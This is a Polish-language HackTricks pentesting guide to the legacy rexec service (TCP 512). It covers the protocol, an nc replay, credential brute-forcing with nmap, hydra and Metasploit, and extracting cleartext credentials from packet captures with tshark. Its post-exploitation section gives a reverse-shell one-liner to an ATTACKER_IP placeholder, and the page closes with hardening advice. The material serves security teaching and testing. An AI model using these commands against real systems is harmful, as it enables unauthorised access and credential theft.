hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Podstawowe informacje
Rexec (remote **exec**) jest jednym z oryginalnych zestawów usług Berkeley *r* (razem z `rlogin`, `rsh`, …). Oferuje możliwość **zdalnego wykonywania poleceń** **autoryzowaną tylko za pomocą nazwy użytkownika i hasła w postaci czystego tekstu**. Protokół został zdefiniowany na początku lat 80-tych (zobacz RFC 1060) i obecnie uważany jest za **niebezpieczny z założenia**. Niemniej jednak, wciąż jest domyślnie włączony w niektórych starszych urządzeniach UNIX / podłączonych do sieci i czasami pojawia się podczas wewnętrznych pentestów.
**Domyślny port:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Cały ruch w tym dane uwierzytelniające jest przesyłany **niezaszyfrowany**. Każdy, kto ma możliwość podsłuchiwania sieci, może odzyskać nazwę użytkownika, hasło i polecenie.
### Szybki przegląd protokołu
1. Klient łączy się z TCP 512.
2. Klient wysyła trzy **łańcuchy zakończone NUL**:
* numer portu (w formacie ASCII), na którym chce odbierać stdout/stderr (często `0`),
* **nazwa użytkownika**,
* **hasło**.
3. Wysyłany jest końcowy łańcuch zakończony NUL z **poleceniem** do wykonania.
4. Serwer odpowiada pojedynczym bajtem statusu 8-bitowego (0 = sukces, `1` = niepowodzenie), po którym następuje wynik polecenia.
To oznacza, że możesz odtworzyć wymianę za pomocą niczego więcej niż `echo -e` i `nc`:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
Jeśli dane uwierzytelniające są ważne, otrzymasz wynik `id` bezpośrednio na tym samym połączeniu.
### Ręczne użycie z klientem
Wiele dystrybucji Linuksa nadal dostarcza starszego klienta w pakiecie **inetutils-rexec** / **rsh-client**:
```bash
rexec -l user -p password <target> "uname -a"
```
Jeśli `-p` jest pominięty, klient poprosi interaktywnie o hasło (widoczne w ruchu w postaci czystego tekstu!).
---
## Enumeracja i Brute-forcing
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
`rexec-brute` NSE używa opisanego powyżej protokołu do szybkiego próbowania poświadczeń.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` ma dedykowany moduł **rexec** i pozostaje najszybszym offline bruteforcerem. `medusa` (`-M REXEC`) i `ncrack` (moduł `rexec`) mogą być używane w ten sam sposób.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
Moduł uruchomi powłokę po pomyślnym wykonaniu i zapisze dane uwierzytelniające w bazie danych.
---
## Sniffing credentials
Ponieważ wszystko jest w postaci czystego tekstu, **przechwytywanie sieciowe jest bezcenne**. Mając kopię ruchu, możesz wyodrębnić dane uwierzytelniające bez dotykania celu:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark włącz *Decode As …​* TCP 512 → REXEC, aby zobaczyć ładnie sparsowane pola.)
---
## Wskazówki po eksploatacji
* Komendy są uruchamiane z uprawnieniami podanego użytkownika. Jeśli `/etc/pam.d/rexec` jest źle skonfigurowany (np. `pam_rootok`), czasami możliwe są powłoki roota.
* Rexec ignoruje powłokę użytkownika i wykonuje polecenie za pomocą `/bin/sh -c <cmd>`. Możesz zatem używać typowych sztuczek ucieczki z powłoki (`;`, ``$( )``, backticks) do łączenia wielu poleceń lub uruchamiania powłok zwrotnych:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Hasła często są przechowywane w **~/.netrc** na innych systemach; jeśli skompromitujesz jeden host, możesz je ponownie wykorzystać do ruchu bocznego.
---
## Utwardzanie / Wykrywanie
* **Nie eksponuj rexec**; zastąp go SSH. Praktycznie wszystkie nowoczesne *inetd* superserwery domyślnie komentują tę usługę.
* Jeśli musisz go zachować, ogranicz dostęp za pomocą TCP wrappers (`/etc/hosts.allow`) lub reguł zapory i wymuszaj silne hasła dla każdego konta.
* Monitoruj ruch do :512 oraz uruchamianie procesów `rexecd`. Pojedynczy zrzut pakietów wystarczy, aby wykryć kompromitację.
* Wyłącz `rexec`, `rlogin`, `rsh` razem dzielą większość tej samej bazy kodu i słabości.
---
## Odniesienia
* Dokumentacja Nmap NSE `rexec-brute` [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Moduł Rapid7 Metasploit `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}